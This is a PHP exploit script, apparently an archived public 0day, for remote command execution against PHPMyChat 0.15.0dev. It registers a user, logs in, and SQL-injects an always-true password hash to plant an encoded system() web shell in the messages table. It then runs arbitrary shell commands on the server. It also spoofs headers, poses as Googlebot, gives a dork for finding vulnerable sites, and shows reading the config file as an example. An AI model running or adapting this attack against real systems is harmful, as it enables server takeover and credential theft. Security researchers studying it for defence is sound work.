phpmychat_015dev_xpl

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PHPMyChat 0.15.0dev \"SYS enter\" remote cmmnds xctn 0day (again)\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "-> works with magic_quotes_gpc=Off\r\n\r\n";  
echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to PHPMyChat\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php\r\n";  
echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
# explaination:  
#  
# only modified this one:  
#  
# http://retrogod.altervista.org/phpmychat_0145_xpl.html  
#  
# actually I tested this package:  
#  
# http://prdownloads.sourceforge.net/phpmychat/phpMyChat-0.15.0-dev20050206.tgz?download  
#  
# code is no properly patched 'cause, if magic_quotes_gpc = Off, you can inject  
# an "always true" statement in PWD_Hash argument  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
  
$host=$argv[1];  
$path=$argv[2];  
$action=$argv[3];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
#step 1 -> Register, we need an online user  
srand(make_seed());  
$anumber = rand(1,99999);  
$data="FORM_SEND=1";  
$data.="&L=italian";  
$data.="&U=suntzu".$anumber;  
$data.="&pmc_password=suntzoi".$anumber;  
$data.="&FIRSTNAME=suntzu";  
$data.="&LASTNAME=suntzoi";  
$data.="&GENDER=1";  
$data.="&COUNTRY=";  
$data.="&WEBSITE=";  
$data.="&[email protected]";  
$data.="&SHOWEMAIL=0";  
$data.="&submit_type=Registrati";  
$packet ="POST ".$p."chat/register.php HTTP/1.0\r\n";  
$packet.="X-Forwarded-For: 127.0.0.1\r\n"; //spoof , a nice ip value for c_regusers table  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cookie: CookieLang=italian;\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
#step 2 -> Login  
$packet ="GET ".$p."chat/loader.php?From=..%2FphpMyChat.php3&L=italian&Ver=H";  
$packet.="&U=suntzu".$anumber."&R=Default&T=1&D=10&N=20&ST=1&NT=1&PWD_Hash=".md5("suntzoi".$anumber)."&First=1 HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cookie: CookieLang=italian; CookieUsername=suntzu".$anumber."; CookieRoom=Default; CookieRoomType=1\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
#step 3 -> SQL Injection, let's store a shell in c_messages table  
$L="L=english";  
$U="U=SYS%20enter";  
$T ="0,"; //type  
$T.="CHAR(68,101,102,97,117,108,116),"; //room (Default)  
$T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter)  
$T.="0,";//latin1  
$T.="9999999999,";//m_time  
$T.="1,";//address  
//message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()  
//u can use an unlimited number of chars for this  
$T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*";  
$T="T=".urlencode($T);  
  
$PWD="'or'a'='a' UNION SELECT c_users.room, c_users.status, c_users.ip FROM c_users, c_reg_users WHERE 'a'='a' LIMIT 1/*";  
$PWD=urlencode($PWD);  
  
for ($i=0; $i<=1; $i++) //redo  
{  
srand(make_seed());  
$anumber = rand(1,99999);  
$R="R=Default".$anumber; //random, it must be different from the previous one  
$packet ="GET ".$p."chat/messagesL.php?$L&$U&$T&$R&PWD_Hash=$PWD HTTP/1.0\r\n";  
$packet.="X-Forwarded-For: suntzuuuuuuu\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
}  
sleep(1);  
#step 4 -> shell is passed to an eval(), so we launch commands  
$packet ="GET ".$p."chat/messagesL.php?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd."&PWD_Hash=$PWD HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
echo $html;  
?>  
`